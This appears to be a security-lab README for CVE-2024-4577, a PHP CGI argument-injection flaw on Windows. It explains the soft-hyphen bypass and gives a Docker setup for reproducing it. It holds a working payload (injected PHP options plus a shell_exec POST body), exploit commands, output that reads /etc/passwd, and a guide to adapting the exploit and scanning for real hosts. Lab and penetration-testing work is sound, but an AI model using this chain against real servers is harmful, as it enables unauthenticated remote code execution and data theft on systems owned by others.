All labs
CVE-2024-4577critical

PHP CGI Argument Injection RCE

PHP (CGI mode)

RCE (Argument Injection)

Download sandbox (2.5 MB)Includes Dockerfile, docker-compose, exploit, verify.sh, and this README.

CVE-2024-4577 — PHP CGI Argument Injection RCE

Overview

FieldValue
CVECVE-2024-4577
SoftwarePHP (CGI mode)
Version Tested5.4.1 (lab); targets 8.1 < 8.1.29 / 8.2 < 8.2.20 / 8.3 < 8.3.8 (Windows)
Vulnerable RangePHP < 8.3.8, < 8.2.20, < 8.1.29 on Windows
TypeRCE (Argument Injection)
CVSS v3.19.8 (Critical) — NVD initial score; updated to 6.9 (Medium)
AuthenticationNot required
VectorNetwork
CISA KEVYes (due date 2024-07-03)

CVE-2024-4577 is a critical PHP CGI argument injection vulnerability discovered by Orange Tsai (DEVCORE) in June 2024. When PHP is deployed in CGI mode on Windows with a Japanese or Chinese locale, the operating system's Best-Fit character encoding converts the soft-hyphen character (U+00AD, %AD in URLs) to a regular hyphen (-). Because PHP's CVE-2012-1823 protection only checks for the literal ASCII hyphen before the conversion occurs, an attacker can inject arbitrary PHP CLI options (such as allow_url_include and auto_prepend_file) into the php-cgi process, executing arbitrary PHP code from the HTTP request body.

This Docker lab uses PHP 5.4.1 — which predates the CVE-2012-1823 protection — to reproduce the identical attack mechanism on Linux. The exploit payload is the same; only the Windows-specific soft-hyphen bypass step is omitted.


Quick Start

bash verify.sh

This builds the image, waits for the service, installs dependencies, runs the exploit, and prints the output.


Environment

PropertyValue
Base Imagevulhub/php:5.4.1-cgi
Web ServerApache 2.4.10 (Debian)
PHP Version5.4.1 (CGI/FPM mode)
Port8080 → HTTP/80
CredentialsNone required
Setup time~5 seconds after docker compose up
docker compose up -d --build   # build and start
docker compose ps              # check status
docker compose logs -f         # watch logs
docker compose down            # teardown

Exploit

How It Works

PHP's CGI mode has a decades-old design quirk: when Apache invokes the php-cgi binary and the URL query string contains no unencoded = character, Apache passes the query-string words (split by +) as command-line arguments to the php-cgi binary, per RFC 3875 §4.4.

  1. Encode = as %3d — Apache sees no raw = and forwards query words as argv[].
  2. Inject PHP optionsallow_url_include=1 permits streaming input; auto_prepend_file=php://input causes PHP to execute the POST body as PHP code before running the requested script.
  3. POST body = PHP code — any <?php ... ?> payload is executed with the privileges of the web server.

CVE-2024-4577-specific bypass (Windows only): PHP's CVE-2012-1823 patch checks if argv[1][0] == '-' (ASCII 0x2D) and refuses. On Windows with Japanese/Chinese locale, sending %AD (soft-hyphen, 0xAD) bypasses this check because 0xAD != 0x2D. Windows then applies Best-Fit mapping to convert 0xAD → 0x2D when creating the subprocess, so php-cgi receives -d allow_url_include=1 as intended.

Timeline of the argument chain:

URL query:    ?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input
     │
     ▼ Apache (no raw '=' → pass as argv)
argv[]:       ["\xadd", "allow_url_include=1", "\xadd", "auto_prepend_file=php://input"]
     │
     ▼ Windows Best-Fit (0xAD → 0x2D)
argv[]:       ["-d", "allow_url_include=1", "-d", "auto_prepend_file=php://input"]
     │
     ▼ PHP-CGI reads POST body via php://input
POST body:    <?php echo shell_exec('id'); ?>
     │
     ▼ Command executes
Output:       uid=33(www-data) gid=33(www-data) groups=33(www-data)

Manual Usage

# Start environment
docker compose up -d --build

# Install dependencies
pip3 install -r exploit/requirements.txt

# Lab mode (this Docker environment — PHP 5.4.1, no CVE-2012-1823 protection):
python3 exploit/exploit.py --target http://localhost:8080 --cmd "id"

# Windows mode (real CVE-2024-4577 target — PHP 8.1.x/8.2.x/8.3.x on Windows):
python3 exploit/exploit.py --target http://TARGET --windows --cmd "whoami /all"

# Custom path (if PHP-CGI is served at a different URL):
python3 exploit/exploit.py --target http://localhost:8080 --path /info.php --cmd "cat /etc/passwd"

Expected Output

[*] CVE-2024-4577 — PHP CGI Argument Injection
[*] Mode     : Lab (pre-CVE-2012-1823 PHP 5.4.1)
[*] Target   : http://localhost:8080/index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input
[*] Command  : id && cat /etc/passwd | head -5
[*] Payload  : <?php echo shell_exec('id && cat /etc/passwd | head -5'); ?>

[*] HTTP 200  (XXX bytes)
============================================================
uid=33(www-data) gid=33(www-data) groups=33(www-data)
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
============================================================
[+] SUCCESS — command output received. RCE confirmed.

Pentest Adaptation Guide

This section covers adapting this lab PoC for use in a real authorized penetration test against CVE-2024-4577 targets.

Target Discovery

Identify PHP-CGI exposure with banner grabbing and version detection:

# Banner grab — look for "X-Powered-By: PHP/..."
curl -I http://TARGET/

# Nmap service scan
nmap -sV -p 80,443,8080 TARGET

# Check common CGI paths
curl -I http://TARGET/php-cgi/php-cgi.exe
curl -I http://TARGET/cgi-bin/php-cgi.exe
curl -I http://TARGET/cgi-bin/php.cgi

# Source code disclosure check (CVE-2012-1823 era detection — works on unpatched PHP 5.x)
curl "http://TARGET/index.php?-s"

Vulnerable configuration indicators:

  • X-Powered-By: PHP/8.1.x (where x < 29)
  • X-Powered-By: PHP/8.2.x (where x < 20)
  • X-Powered-By: PHP/8.3.x (where x < 8)
  • Server running on Windows (look for Server: Apache/... (Win32) or IIS headers)
  • XAMPP default page at /xampp/ or /dashboard/

Adapting the Exploit

For real CVE-2024-4577 targets (PHP 8.1/8.2/8.3 on Windows):

# Step 1: use --windows flag for the soft-hyphen bypass
python3 exploit/exploit.py \
    --target http://TARGET \
    --windows \
    --path /index.php \          # or the actual PHP script path
    --cmd "whoami /all"

# Step 2: for XAMPP, the CGI binary is often at /php-cgi/php-cgi.exe
# The exploit targets any served PHP script, not the binary itself.
# Change --path to match the target's document structure.

Key parameter changes:

ParameterDefault (lab)Real target example
--targethttp://localhost:8080http://victim-host.example.com
--windows(omit)Add --windows flag
--path/index.php/ or any PHP file on server
--cmdidwhoami, net user, etc.

Network considerations:

  • The target must be reachable from your host; check firewalls on ports 80/443/8080.
  • If behind a proxy, set HTTP_PROXY / HTTPS_PROXY environment variables.
  • HTTPS targets: the --verify=False flag in the script already handles self-signed certs.

Locale requirement for CVE-2024-4577: The Windows system locale must be Japanese (ja-JP), Simplified Chinese (zh-CN), or Traditional Chinese (zh-TW) for the Best-Fit mapping to occur. Servers using other locales may not be vulnerable to the encoding bypass.

Safe Verification (Non-Destructive)

Read a file rather than executing destructive commands:

# Read /etc/hostname (Linux) or %COMPUTERNAME% equivalent (Windows)
python3 exploit/exploit.py --target http://TARGET --cmd "cat /etc/hostname"

# Windows equivalent:
python3 exploit/exploit.py --target http://TARGET --windows --cmd "type C:\Windows\System32\drivers\etc\hostname"

# Read PHP configuration
python3 exploit/exploit.py --target http://TARGET --cmd "cat /etc/php.ini 2>/dev/null | head -20"

Do NOT run commands that modify system state (rm, shutdown, net user add, etc.) in production environments.

Metasploit check command (if using exploit/windows/http/php_cgi_arg_injection_rce_cve_2024_4577):

msf> use exploit/windows/http/php_cgi_arg_injection_rce_cve_2024_4577
msf> set RHOSTS TARGET
msf> set RPORT 80
msf> check

Evidence Collection

Capture the following for a pentest report:

  1. Version proof: curl -I http://TARGET/ — screenshot the X-Powered-By header.
  2. RCE proof: Run id (Linux) or whoami (Windows) and capture terminal output.
  3. File read: Read /etc/passwd (Linux) or C:\Windows\win.ini (Windows).
  4. Request/response: Use Burp Suite or --verbose curl to capture raw HTTP traffic.
  5. Classification: OWASP A03:2021 (Injection); CVSS 9.8 (Critical); CWE-88 (Argument Injection).

Report finding template:

Title: CVE-2024-4577 — PHP CGI Argument Injection Remote Code Execution
Severity: Critical (CVSS 9.8)
Affected Host: http(s)://TARGET
Evidence: [attach screenshot of id/whoami output]
Impact: Unauthenticated remote code execution as web server user
Remediation: Upgrade PHP to 8.3.8 / 8.2.20 / 8.1.29 or later;
             disable CGI mode; restrict access to php-cgi binary.

References